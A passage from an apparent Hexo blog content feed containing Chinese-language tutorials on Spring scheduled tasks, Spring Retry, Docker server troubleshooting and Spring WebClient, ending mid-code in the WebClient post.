class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DistributedTask</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 5000)</span></span><br><span class="line">    <span class="meta">@SchedulerLock(name = &quot;distributedTask&quot;, lockAtMostFor = &quot;10m&quot;, lockAtLeastFor = &quot;1m&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;分布式定时任务执行&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Spring-Task-vs-Quartz"><a href="#Spring-Task-vs-Quartz" class="headerlink" title="Spring Task vs Quartz"></a>Spring Task vs Quartz</h2><table><thead><tr><th>特性</th><th>Spring Task</th><th>Quartz</th></tr></thead><tbody><tr><td>复杂度</td><td>简单</td><td>复杂</td></tr><tr><td>持久化</td><td>不支持</td><td>支持（JDBC/内存）</td></tr><tr><td>集群</td><td>不支持</td><td>支持</td></tr><tr><td>错过策略</td><td>简单</td><td>丰富</td></tr><tr><td>管理界面</td><td>无</td><td>有</td></tr><tr><td>适用场景</td><td>简单单机定时任务</td><td>复杂分布式调度</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>场景</th><th>方案</th></tr></thead><tbody><tr><td>简单定时任务</td><td>@Scheduled</td></tr><tr><td>动态 Cron</td><td>SchedulingConfigurer + TriggerTask</td></tr><tr><td>异步执行</td><td>@Async + @Scheduled</td></tr><tr><td>分布式定时</td><td>Quartz / ShedLock</td></tr><tr><td>多线程</td><td>自定义线程池</td></tr></tbody></table><p>Spring Task 适合简单的单机定时任务场景，复杂调度建议使用 Quartz。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>docker compose 部署单机服务</title>
      <link href="//docker-compose-bu-shu-dan-ji-fu-wu/"/>
      <url>//docker-compose-bu-shu-dan-ji-fu-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="docker-compose-部署单机服务"><a href="#docker-compose-部署单机服务" class="headerlink" title="docker compose 部署单机服务"></a>docker compose 部署单机服务</h1><p>Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringRetry重试机制</title>
      <link href="//springretry-chong-shi-ji-zhi/"/>
      <url>//springretry-chong-shi-ji-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringRetry重试机制"><a href="#SpringRetry重试机制" class="headerlink" title="SpringRetry重试机制"></a>SpringRetry重试机制</h1><p>Spring Retry 提供了声明式和编程式的重试机制，用于处理暂时性故障（如网络超时、数据库锁等）。</p><h2 id="引入依赖"><a href="#引入依赖" class="headerlink" title="引入依赖"></a>引入依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.retry<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-retry<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-aspects<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="启用重试"><a href="#启用重试" class="headerlink" title="启用重试"></a>启用重试</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableRetry</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RetryConfig</span> &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注解式重试"><a href="#注解式重试" class="headerlink" title="注解式重试"></a>注解式重试</h2><h3 id="Retryable"><a href="#Retryable" class="headerlink" title="@Retryable"></a>@Retryable</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RemoteService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">log</span> <span class="operator">=</span> LoggerFactory.getLogger(RemoteService.class);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 基本重试：遇到异常重试3次</span></span><br><span class="line">    <span class="meta">@Retryable(retryFor = &#123;RemoteAccessException.class&#125;, maxAttempts = 3)</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">callRemoteApi</span><span class="params">()</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;调用远程API...&quot;</span>);</span><br><span class="line">        <span class="comment">// 可能抛出异常的调用</span></span><br><span class="line">        <span class="keyword">return</span> restTemplate.getForObject(<span class="string">&quot;https://api.example.com/data&quot;</span>, String.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 带退避策略：重试间隔递增</span></span><br><span class="line">    <span class="meta">@Retryable(</span></span><br><span class="line"><span class="meta">        retryFor = &#123;RemoteAccessException.class&#125;,</span></span><br><span class="line"><span class="meta">        maxAttempts = 5,</span></span><br><span class="line"><span class="meta">        backoff = @Backoff(delay = 1000, multiplier = 2, maxDelay = 10000)</span></span><br><span class="line"><span class="meta">    )</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">callWithBackoff</span><span class="params">()</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;调用远程API（带退避）...&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> restTemplate.getForObject(<span class="string">&quot;https://api.example.com/data&quot;</span>, String.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 指定异常类型</span></span><br><span class="line">    <span class="meta">@Retryable(</span></span><br><span class="line"><span class="meta">        retryFor = &#123;IOException.class, TimeoutException.class&#125;,</span></span><br><span class="line"><span class="meta">        noRetryFor = &#123;IllegalArgumentException.class&#125;,</span></span><br><span class="line"><span class="meta">        maxAttempts = 3</span></span><br><span class="line"><span class="meta">    )</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">callWithExceptionFilter</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> restTemplate.getForObject(<span class="string">&quot;https://api.example.com/data&quot;</span>, String.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 根据返回结果重试</span></span><br><span class="line">    <span class="meta">@Retryable(</span></span><br><span class="line"><span class="meta">        retryFor = &#123;RemoteAccessException.class&#125;,</span></span><br><span class="line"><span class="meta">        maxAttempts = 3,</span></span><br><span class="line"><span class="meta">        recover = &quot;fallback&quot;</span></span><br><span class="line"><span class="meta">    )</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">callWithRecover</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> restTemplate.getForObject(<span class="string">&quot;https://api.example.com/data&quot;</span>, String.class);</span><br><span class="line">        <span class="keyword">if</span> (result == <span class="literal">null</span> || result.isEmpty()) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RemoteAccessException</span>(<span class="string">&quot;空结果&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 恢复方法</span></span><br><span class="line">    <span class="meta">@Recover</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">fallback</span><span class="params">(RemoteAccessException e)</span> &#123;</span><br><span class="line">        log.warn(<span class="string">&quot;远程调用失败，使用降级策略: &#123;&#125;&quot;</span>, e.getMessage());</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;default_data&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="参数说明"><a href="#参数说明" class="headerlink" title="参数说明"></a>参数说明</h3><table><thead><tr><th>参数</th><th>说明</th></tr></thead><tbody><tr><td>retryFor</td><td>触发重试的异常</td></tr><tr><td>noRetryFor</td><td>不触发重试的异常</td></tr><tr><td>maxAttempts</td><td>最大重试次数（含第一次调用）</td></tr><tr><td>backoff</td><td>退避策略</td></tr><tr><td>recover</td><td>降级方法名</td></tr></tbody></table><h3 id="Backoff-参数"><a href="#Backoff-参数" class="headerlink" title="@Backoff 参数"></a>@Backoff 参数</h3><table><thead><tr><th>参数</th><th>说明</th></tr></thead><tbody><tr><td>delay</td><td>初始延迟（毫秒）</td></tr><tr><td>multiplier</td><td>延迟倍数</td></tr><tr><td>maxDelay</td><td>最大延迟</td></tr><tr><td>random</td><td>是否随机化延迟</td></tr></tbody></table><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 固定间隔：1s, 1s, 1s</span></span><br><span class="line"><span class="meta">@Backoff(delay = 1000)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 指数退避：1s, 2s, 4s, 8s...</span></span><br><span class="line"><span class="meta">@Backoff(delay = 1000, multiplier = 2)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 指数退避+上限：1s, 2s, 4s, 4s, 4s...</span></span><br><span class="line"><span class="meta">@Backoff(delay = 1000, multiplier = 2, maxDelay = 4000)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 随机退避：delay ± random%</span></span><br><span class="line"><span class="meta">@Backoff(delay = 1000, random = true)</span></span><br></pre></td></tr></table></figure><h3 id="CircuitBreaker（熔断器）"><a href="#CircuitBreaker（熔断器）" class="headerlink" title="@CircuitBreaker（熔断器）"></a>@CircuitBreaker（熔断器）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CircuitBreakerService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Retryable(</span></span><br><span class="line"><span class="meta">        retryFor = &#123;RemoteAccessException.class&#125;,</span></span><br><span class="line"><span class="meta">        maxAttempts = 3,</span></span><br><span class="line"><span class="meta">        backoff = @Backoff(delay = 1000)</span></span><br><span class="line"><span class="meta">    )</span></span><br><span class="line">    <span class="meta">@CircuitBreaker(</span></span><br><span class="line"><span class="meta">        retryFor = &#123;RemoteAccessException.class&#125;,</span></span><br><span class="line"><span class="meta">        maxAttempts = 3,</span></span><br><span class="line"><span class="meta">        openTimeout = 15000,      // 15秒内失败3次则熔断</span></span><br><span class="line"><span class="meta">        resetTimeout = 30000      // 30秒后尝试恢复</span></span><br><span class="line"><span class="meta">    )</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">callWithCircuitBreaker</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> restTemplate.getForObject(<span class="string">&quot;https://api.example.com/data&quot;</span>, String.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Recover</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">fallback</span><span class="params">(RemoteAccessException e)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;circuit_breaker_fallback&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="编程式重试"><a href="#编程式重试" class="headerlink" title="编程式重试"></a>编程式重试</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProgrammaticRetryService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RetryTemplate retryTemplate;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">callWithRetryTemplate</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> retryTemplate.execute(</span><br><span class="line">            context -&gt; &#123;</span><br><span class="line">                System.out.println(<span class="string">&quot;第 &quot;</span> + (context.getRetryCount() + <span class="number">1</span>) + <span class="string">&quot; 次尝试&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> restTemplate.getForObject(<span class="string">&quot;https://api.example.com/data&quot;</span>, String.class);</span><br><span class="line">            &#125;,</span><br><span class="line">            context -&gt; &#123;</span><br><span class="line">                System.out.println(<span class="string">&quot;重试耗尽，执行恢复逻辑&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;fallback_data&quot;</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="自定义-RetryTemplate"><a href="#自定义-RetryTemplate" class="headerlink" title="自定义 RetryTemplate"></a>自定义 RetryTemplate</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> RetryTemplate <span class="title function_">retryTemplate</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">RetryTemplate</span> <span class="variable">template</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RetryTemplate</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 重试策略：最多3次</span></span><br><span class="line">    <span class="type">SimpleRetryPolicy</span> <span class="variable">retryPolicy</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SimpleRetryPolicy</span>(<span class="number">3</span>,</span><br><span class="line">        Collections.singletonMap(RemoteAccessException.class, <span class="literal">true</span>));</span><br><span class="line">    template.setRetryPolicy(retryPolicy);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 退避策略：指数退避</span></span><br><span class="line">    <span class="type">ExponentialBackOffPolicy</span> <span class="variable">backOffPolicy</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ExponentialBackOffPolicy</span>();</span><br><span class="line">    backOffPolicy.setInitialInterval(<span class="number">1000</span>);</span><br><span class="line">    backOffPolicy.setMultiplier(<span class="number">2</span>);</span><br><span class="line">    backOffPolicy.setMaxInterval(<span class="number">10000</span>);</span><br><span class="line">    template.setBackOffPolicy(backOffPolicy);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 监听器</span></span><br><span class="line">    template.registerListener(<span class="keyword">new</span> <span class="title class_">RetryListener</span>() &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> &lt;T, E <span class="keyword">extends</span> <span class="title class_">Throwable</span>&gt; <span class="type">boolean</span> <span class="title function_">open</span><span class="params">(RetryContext context, </span></span><br><span class="line"><span class="params">                                                      RetryCallback&lt;T, E&gt; callback)</span> &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;开始重试: &quot;</span> + context.getRetryCount());</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> &lt;T, E <span class="keyword">extends</span> <span class="title class_">Throwable</span>&gt; <span class="keyword">void</span> <span class="title function_">close</span><span class="params">(RetryContext context, </span></span><br><span class="line"><span class="params">                                                    RetryCallback&lt;T, E&gt; callback, </span></span><br><span class="line"><span class="params">                                                    Throwable throwable)</span> &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;重试结束&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> &lt;T, E <span class="keyword">extends</span> <span class="title class_">Throwable</span>&gt; <span class="keyword">void</span> <span class="title function_">onError</span><span class="params">(RetryContext context, </span></span><br><span class="line"><span class="params">                                                      RetryCallback&lt;T, E&gt; callback, </span></span><br><span class="line"><span class="params">                                                      Throwable throwable)</span> &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;第 &quot;</span> + context.getRetryCount() + <span class="string">&quot; 次重试失败: &quot;</span> + throwable.getMessage());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> template;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="监听器"><a href="#监听器" class="headerlink" title="监听器"></a>监听器</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LogRetryListener</span> <span class="keyword">implements</span> <span class="title class_">RetryListener</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">log</span> <span class="operator">=</span> LoggerFactory.getLogger(LogRetryListener.class);</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> &lt;T, E <span class="keyword">extends</span> <span class="title class_">Throwable</span>&gt; <span class="type">boolean</span> <span class="title function_">open</span><span class="params">(RetryContext context, </span></span><br><span class="line"><span class="params">                                                  RetryCallback&lt;T, E&gt; callback)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;开始执行: &#123;&#125;, 重试次数: &#123;&#125;&quot;</span>, </span><br><span class="line">            context.getAttribute(<span class="string">&quot;context.name&quot;</span>), </span><br><span class="line">            context.getRetryCount());</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> &lt;T, E <span class="keyword">extends</span> <span class="title class_">Throwable</span>&gt; <span class="keyword">void</span> <span class="title function_">onError</span><span class="params">(RetryContext context, </span></span><br><span class="line"><span class="params">                                                  RetryCallback&lt;T, E&gt; callback, </span></span><br><span class="line"><span class="params">                                                  Throwable throwable)</span> &#123;</span><br><span class="line">        log.warn(<span class="string">&quot;执行失败，第 &#123;&#125; 次重试, 异常: &#123;&#125;&quot;</span>, </span><br><span class="line">            context.getRetryCount(), throwable.getMessage());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> &lt;T, E <span class="keyword">extends</span> <span class="title class_">Throwable</span>&gt; <span class="keyword">void</span> <span class="title function_">close</span><span class="params">(RetryContext context, </span></span><br><span class="line"><span class="params">                                                RetryCallback&lt;T, E&gt; callback, </span></span><br><span class="line"><span class="params">                                                Throwable throwable)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (throwable != <span class="literal">null</span>) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;所有重试都失败了: &#123;&#125;&quot;</span>, throwable.getMessage());</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            log.info(<span class="string">&quot;执行成功，共重试 &#123;&#125; 次&quot;</span>, context.getRetryCount());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RetryConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RetryTemplate <span class="title function_">retryTemplate</span><span class="params">(LogRetryListener listener)</span> &#123;</span><br><span class="line">        <span class="type">RetryTemplate</span> <span class="variable">template</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RetryTemplate</span>();</span><br><span class="line">        template.registerListener(listener);</span><br><span class="line">        <span class="keyword">return</span> template;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><table><thead><tr><th>场景</th><th>建议</th></tr></thead><tbody><tr><td>网络超时</td><td>使用指数退避，最大延迟 10-30s</td></tr><tr><td>数据库死锁</td><td>少量重试（2-3次），固定短间隔</td></tr><tr><td>第三方 API</td><td>熔断器 + 降级</td></tr><tr><td>消息消费</td><td>根据消息重要性决定重试策略</td></tr><tr><td>重试条件</td><td>只重试暂时性错误，不重试业务错误</td></tr></tbody></table><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><ol><li><strong>幂等性</strong>：重试的方法必须是幂等的</li><li><strong>事务</strong>：重试可能导致事务问题，需谨慎</li><li><strong>日志</strong>：记录重试次数和异常，便于排查</li><li><strong>降级</strong>：始终提供降级方案</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring Retry 提供了灵活的重试机制：</p><ul><li><strong>声明式</strong>：@Retryable 简单方便</li><li><strong>编程式</strong>：RetryTemplate 灵活控制</li><li><strong>熔断器</strong>：@CircuitBreaker 防止雪崩</li><li><strong>监听器</strong>：观察重试过程</li></ul><p>合理使用重试，可以提高系统的容错能力。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Docker 容器日志和数据卷实践</title>
      <link href="//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/"/>
      <url>//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Docker-容器日志和数据卷实践"><a href="#Docker-容器日志和数据卷实践" class="headerlink" title="Docker 容器日志和数据卷实践"></a>Docker 容器日志和数据卷实践</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringWebClient异步HTTP调用</title>
      <link href="//springwebclient-yi-bu-http-diao-yong/"/>
      <url>//springwebclient-yi-bu-http-diao-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringWebClient异步HTTP调用"><a href="#SpringWebClient异步HTTP调用" class="headerlink" title="SpringWebClient异步HTTP调用"></a>SpringWebClient异步HTTP调用</h1><p>Spring 5 引入的 WebClient 是新一代 HTTP 客户端，用于替代传统的 RestTemplate，支持响应式编程。</p><h2 id="WebClient-vs-RestTemplate"><a href="#WebClient-vs-RestTemplate" class="headerlink" title="WebClient vs RestTemplate"></a>WebClient vs RestTemplate</h2><table><thead><tr><th>特性</th><th>RestTemplate</th><th>WebClient</th></tr></thead><tbody><tr><td>编程模型</td><td>同步阻塞</td><td>异步非阻塞</td></tr><tr><td>底层</td><td>Apache HttpClient / JDK</td><td>Reactor Netty</td></tr><tr><td>线程</td><td>每请求一线程</td><td>事件循环</td></tr><tr><td>流式响应</td><td>不支持</td><td>支持</td></tr><tr><td>性能</td><td>一般</td><td>高并发更优</td></tr><tr><td>维护状态</td><td>已弃用</td><td>推荐使用</td></tr></tbody></table><h2 id="创建-WebClient"><a href="#创建-WebClient" class="headerlink" title="创建 WebClient"></a>创建 WebClient</h2><h3 id="基础创建"><a href="#基础创建" class="headerlink" title="基础创建"></a>基础创建</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 方式1：使用工厂</span></span><br><span class="line"><span class="type">WebClient</span> <span class="variable">client</span> <span class="operator">=</span> WebClient.create();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方式2：指定基础URL</span></span><br><span class="line"><span class="type">WebClient</span> <span class="variable">client</span> <span class="operator">=</span> WebClient.create(<span class="string">&quot;https://api.example.com&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方式3：自定义构建</span></span><br><span class="line"><span class="type">WebClient</span> <span class="variable">client</span> <span class="operator">=</span> WebClient.builder()</span><br><span class="line">    .baseUrl(<span class="string">&quot;https://api.example.com&quot;</span>)</span><br><span class="line">    .defaultHeader(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE)</span><br><span class="line">    .defaultHeader(HttpHeaders.AUTHORIZATION, <span class="string">&quot;Bearer &quot;</span> + token)</span><br><span class="line">    .build();</span><br></pre></td></tr></table></figure><h3 id="全局配置"><a href="#全局配置" class="headerlink" title="全局配置"></a>全局配置</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WebClientConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> WebClient <span class="title function_">webClient</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> WebClient.builder()</span><br><span class="line">            .baseUrl(<span class="string">&quot;https://api.example.com&quot;</span>)</span><br><span class="line">            .defaultHeaders(headers -&gt; &#123;</span><br><span class="line">                